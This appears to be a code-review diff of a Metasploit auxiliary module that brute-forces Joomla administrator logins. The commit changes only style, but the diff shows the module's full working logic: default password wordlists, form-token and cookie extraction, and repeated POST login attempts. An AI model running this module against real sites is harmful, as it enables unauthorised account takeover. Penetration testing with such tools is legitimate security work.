6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Auxiliary
9
-
10
9
include Msf ::Exploit ::Remote ::HttpClient
11
10
include Msf ::Auxiliary ::Report
12
11
include Msf ::Auxiliary ::AuthBrute
@@ -26,17 +25,17 @@ def initialize
26
25
27
26
register_options (
28
27
[
29
- OptPath . new ( 'USERPASS_FILE' , [ false , " File containing users and passwords separated by space, one pair per line" ,
30
- File . join ( Msf ::Config . data_directory , " wordlists" , " http_default_userpass.txt" ) ] ) ,
31
- OptPath . new ( 'USER_FILE' , [ false , " File containing users, one per line" ,
32
- File . join ( Msf ::Config . data_directory , " wordlists" , "http_default_users.txt" ) ] ) ,
33
- OptPath . new ( 'PASS_FILE' , [ false , " File containing passwords, one per line" ,
34
- File . join ( Msf ::Config . data_directory , " wordlists" , " http_default_pass.txt" ) ] ) ,
35
- OptString . new ( 'AUTH_URI' , [ true , " The URI to authenticate against" , " /administrator/index.php" ] ) ,
36
- OptString . new ( 'FORM_URI' , [ true , " The FORM URI to authenticate against" , " /administrator" ] ) ,
37
- OptString . new ( 'USER_VARIABLE' , [ true , " The name of the variable for the user field" , " username" ] ) ,
38
- OptString . new ( 'PASS_VARIABLE' , [ true , " The name of the variable for the password field" , " passwd" ] ) ,
39
- OptString . new ( 'WORD_ERROR' , [ true , " The word of message for detect that login fail" , " mod-login-username" ] )
28
+ OptPath . new ( 'USERPASS_FILE' , [ false , ' File containing users and passwords separated by space, one pair per line' ,
29
+ File . join ( Msf ::Config . data_directory , ' wordlists' , ' http_default_userpass.txt' ) ] ) ,
30
+ OptPath . new ( 'USER_FILE' , [ false , ' File containing users, one per line' ,
31
+ File . join ( Msf ::Config . data_directory , ' wordlists' , "http_default_users.txt" ) ] ) ,
32
+ OptPath . new ( 'PASS_FILE' , [ false , ' File containing passwords, one per line' ,
33
+ File . join ( Msf ::Config . data_directory , ' wordlists' , ' http_default_pass.txt' ) ] ) ,
34
+ OptString . new ( 'AUTH_URI' , [ true , ' The URI to authenticate against' , ' /administrator/index.php' ] ) ,
35
+ OptString . new ( 'FORM_URI' , [ true , ' The FORM URI to authenticate against' , ' /administrator' ] ) ,
36
+ OptString . new ( 'USER_VARIABLE' , [ true , ' The name of the variable for the user field' , ' username' ] ) ,
37
+ OptString . new ( 'PASS_VARIABLE' , [ true , ' The name of the variable for the password field' , ' passwd' ] ) ,
38
+ OptString . new ( 'WORD_ERROR' , [ true , ' The word of message for detect that login fail' , ' mod-login-username' ] )
40
39
] , self . class )
41
40
42
41
register_autofilter_ports ( [ 80 , 443 ] )
@@ -46,18 +45,18 @@ def find_auth_uri
46
45
if datastore [ 'AUTH_URI' ] && datastore [ 'AUTH_URI' ] . length > 0
47
46
paths = [ datastore [ 'AUTH_URI' ] ]
48
47
else
49
- paths = %W{
48
+ paths = %w(
50
49
/
51
50
/administrator/
52
- }
51
+ )
53
52
end
54
53
55
54
paths . each do |path |
56
55
begin
57
- res = send_request_cgi ( {
58
- 'uri' => path ,
59
- 'method' => 'GET'
60
- } )
56
+ res = send_request_cgi (
57
+ 'uri' => path ,
58
+ 'method' => 'GET'
59
+ )
61
60
rescue ::Rex ::ConnectionError
62
61
next
63
62
end
@@ -68,10 +67,10 @@ def find_auth_uri
68
67
path = res . headers [ 'Location' ]
69
68
vprint_status ( "#{ rhost } :#{ rport } - Following redirect: #{ path } " )
70
69
begin
71
- res = send_request_cgi ( {
70
+ res = send_request_cgi (
72
71
'uri' => path ,
73
72
'method' => 'GET'
74
- } )
73
+ )
75
74
rescue ::Rex ::ConnectionError
76
75
next
77
76
end
@@ -81,38 +80,38 @@ def find_auth_uri
81
80
return path
82
81
end
83
82
84
- return nil
83
+ nil
85
84
end
86
85
87
86
def target_url
88
- proto = " http"
87
+ proto = ' http'
89
88
if rport == 443 || ssl
90
- proto = " https"
89
+ proto = ' https'
91
90
end
92
- "#{ proto } ://#{ rhost } :#{ rport } #{ @uri . to_s } "
91
+ "#{ proto } ://#{ rhost } :#{ rport } #{ @uri } "
93
92
end
94
93
95
94
def run_host ( ip )
96
95
vprint_status ( "#{ rhost } :#{ rport } - Searching Joomla authentication URI..." )
97
96
@uri = find_auth_uri
98
97
99
- if ! @uri
98
+ unless @uri
100
99
vprint_error ( "#{ rhost } :#{ rport } - No URI found that asks for authentication" )
101
100
return
102
101
end
103
102
104
- @uri = "/#{ @uri } " if @uri [ 0 , 1 ] != "/"
103
+ @uri = "/#{ @uri } " if @uri [ 0 , 1 ] != '/'
105
104
106
105
vprint_status ( "#{ target_url } - Attempting to login..." )
107
106
108
- each_user_pass { |user , pass |
107
+ each_user_pass do |user , pass |
109
108
do_login ( user , pass )
110
- }
109
+ end
111
110
end
112
111
113
112
def do_login ( user , pass )
114
113
vprint_status ( "#{ target_url } - Trying username:'#{ user } ' with password:'#{ pass } '" )
115
- response = do_web_login ( user , pass )
114
+ response = do_web_login ( user , pass )
116
115
result = determine_result ( response )
117
116
118
117
if result == :success
@@ -129,7 +128,7 @@ def do_login(user, pass)
129
128
:duplicate_ok => true ,
130
129
:active => true
131
130
)
132
- return :abort if ( datastore [ 'STOP_ON_SUCCESS' ] )
131
+ return :abort if datastore [ 'STOP_ON_SUCCESS' ]
133
132
return :next_user
134
133
else
135
134
vprint_error ( "#{ target_url } - Failed to login as '#{ user } '" )
@@ -138,74 +137,72 @@ def do_login(user, pass)
138
137
end
139
138
140
139
def do_web_login ( user , pass )
141
- begin
142
- user_var = datastore [ 'USER_VARIABLE' ]
143
- pass_var = datastore [ 'PASS_VARIABLE' ]
140
+ user_var = datastore [ 'USER_VARIABLE' ]
141
+ pass_var = datastore [ 'PASS_VARIABLE' ]
144
142
145
- referer_var = "http://#{ rhost } /administrator/index.php"
143
+ referer_var = "http://#{ rhost } /administrator/index.php"
146
144
147
- vprint_status ( "#{ target_url } - Searching Joomla Login Response..." )
148
- res = get_login_response
145
+ vprint_status ( "#{ target_url } - Searching Joomla Login Response..." )
146
+ res = login_response
149
147
150
- unless res && res . code = 200 && !res . get_cookies . blank?
151
- vprint_error ( "#{ target_url } - Failed to find Joomla Login Response" )
152
- return nil
153
- end
148
+ unless res && res . code = 200 && !res . get_cookies . blank?
149
+ vprint_error ( "#{ target_url } - Failed to find Joomla Login Response" )
150
+ return nil
151
+ end
154
152
155
- vprint_status ( "#{ target_url } - Searching Joomla Login Form..." )
156
- hidden_value = get_login_hidden ( res )
157
- if hidden_value . nil?
158
- vprint_error ( "#{ target_url } - Failed to find Joomla Login Form" )
159
- return nil
160
- end
153
+ vprint_status ( "#{ target_url } - Searching Joomla Login Form..." )
154
+ hidden_value = get_login_hidden ( res )
155
+ if hidden_value . nil?
156
+ vprint_error ( "#{ target_url } - Failed to find Joomla Login Form" )
157
+ return nil
158
+ end
161
159
162
- vprint_status ( "#{ target_url } - Searching Joomla Login Cookies..." )
163
- cookie = get_login_cookie ( res )
164
- if cookie . blank?
165
- vprint_error ( "#{ target_url } - Failed to find Joomla Login Cookies" )
166
- return nil
167
- end
160
+ vprint_status ( "#{ target_url } - Searching Joomla Login Cookies..." )
161
+ cookie = get_login_cookie ( res )
162
+ if cookie . blank?
163
+ vprint_error ( "#{ target_url } - Failed to find Joomla Login Cookies" )
164
+ return nil
165
+ end
168
166
169
- vprint_status ( "#{ target_url } - Login with cookie ( #{ cookie } ) and Hidden ( #{ hidden_value } =1 )" )
170
- res = send_request_login ( {
171
- 'user_var' => user_var ,
172
- 'pass_var' => pass_var ,
173
- 'cookie' => cookie ,
174
- 'referer_var' => referer_var ,
175
- 'user' => user ,
176
- 'pass' => pass ,
177
- 'hidden_value' => hidden_value
178
- } )
179
-
180
- if res
181
- vprint_status ( "#{ target_url } - Login Response #{ res . code } " )
182
- if res . redirect? && res . headers [ 'Location' ]
183
- path = res . headers [ 'Location' ]
184
- vprint_status ( "#{ target_url } - Following redirect to #{ path } ..." )
185
-
186
- res = send_request_raw ( {
187
- 'uri' => path ,
188
- 'method' => 'GET' ,
189
- 'cookie' => "#{ cookie } "
190
- } )
191
- end
167
+ vprint_status ( "#{ target_url } - Login with cookie ( #{ cookie } ) and Hidden ( #{ hidden_value } =1 )" )
168
+ res = send_request_login (
169
+ 'user_var' => user_var ,
170
+ 'pass_var' => pass_var ,
171
+ 'cookie' => cookie ,
172
+ 'referer_var' => referer_var ,
173
+ 'user' => user ,
174
+ 'pass' => pass ,
175
+ 'hidden_value' => hidden_value
176
+ )
177
+
178
+ if res
179
+ vprint_status ( "#{ target_url } - Login Response #{ res . code } " )
180
+ if res . redirect? && res . headers [ 'Location' ]
181
+ path = res . headers [ 'Location' ]
182
+ vprint_status ( "#{ target_url } - Following redirect to #{ path } ..." )
183
+
184
+ res = send_request_raw (
185
+ 'uri' => path ,
186
+ 'method' => 'GET' ,
187
+ 'cookie' => "#{ cookie } "
188
+ )
192
189
end
190
+ end
193
191
194
- return res
192
+ return res
195
193
rescue ::Rex ::ConnectionError
196
194
vprint_error ( "#{ target_url } - Failed to connect to the web server" )
197
195
return nil
198
- end
199
196
end
200
197
201
198
def send_request_login ( opts = { } )
202
- res = send_request_cgi ( {
199
+ res = send_request_cgi (
203
200
'uri' => @uri ,
204
201
'method' => 'POST' ,
205
202
'cookie' => "#{ opts [ 'cookie' ] } " ,
206
203
'headers' =>
207
204
{
208
- 'Referer' => opts [ 'referer_var' ]
205
+ 'Referer' => opts [ 'referer_var' ]
209
206
} ,
210
207
'vars_post' => {
211
208
opts [ 'user_var' ] => opts [ 'user' ] ,
@@ -216,7 +213,7 @@ def send_request_login(opts = {})
216
213
'return' => 'aW5kZXgucGhw' ,
217
214
opts [ 'hidden_value' ] => 1
218
215
}
219
- } )
216
+ )
220
217
221
218
res
222
219
end
@@ -233,12 +230,12 @@ def determine_result(response)
233
230
end
234
231
end
235
232
236
- return :fail
233
+ :fail
237
234
end
238
235
239
- def get_login_response
236
+ def login_response
240
237
uri = normalize_uri ( datastore [ 'FORM_URI' ] )
241
- res = send_request_cgi! ( { 'uri' => uri , 'method' => 'GET' } )
238
+ res = send_request_cgi! ( 'uri' => uri , 'method' => 'GET' )
242
239
243
240
res
244
241
end
@@ -257,12 +254,12 @@ def get_login_hidden(res)
257
254
vprint_status ( "#{ target_url } - Testing Joomla 2.5 Form..." )
258
255
form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login"\> (.*)<\/ form>/mi )
259
256
260
- if form . length == 1 #is not Joomla 2.5
257
+ if form . length == 1 # is not Joomla 2.5
261
258
vprint_status ( "#{ target_url } - Testing Form Joomla 3.0 Form..." )
262
259
form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login" class="form-inline"\> (.*)<\/ form>/mi )
263
260
end
264
261
265
- if form . length == 1
262
+ if form . length == 1 # is not Joomla 3
266
263
vprint_error ( "#{ target_url } - Last chance to find a login form..." )
267
264
form = res . body . split ( /<form id="login-form" action=([^\> ]+)\> (.*)<\/ form>/mi )
268
265
end
@@ -276,7 +273,7 @@ def get_login_hidden(res)
276
273
277
274
valor_input_id = input_id [ 1 ]
278
275
279
- return valor_input_id
276
+ valor_input_id
280
277
end
281
278
282
279
end
0 commit comments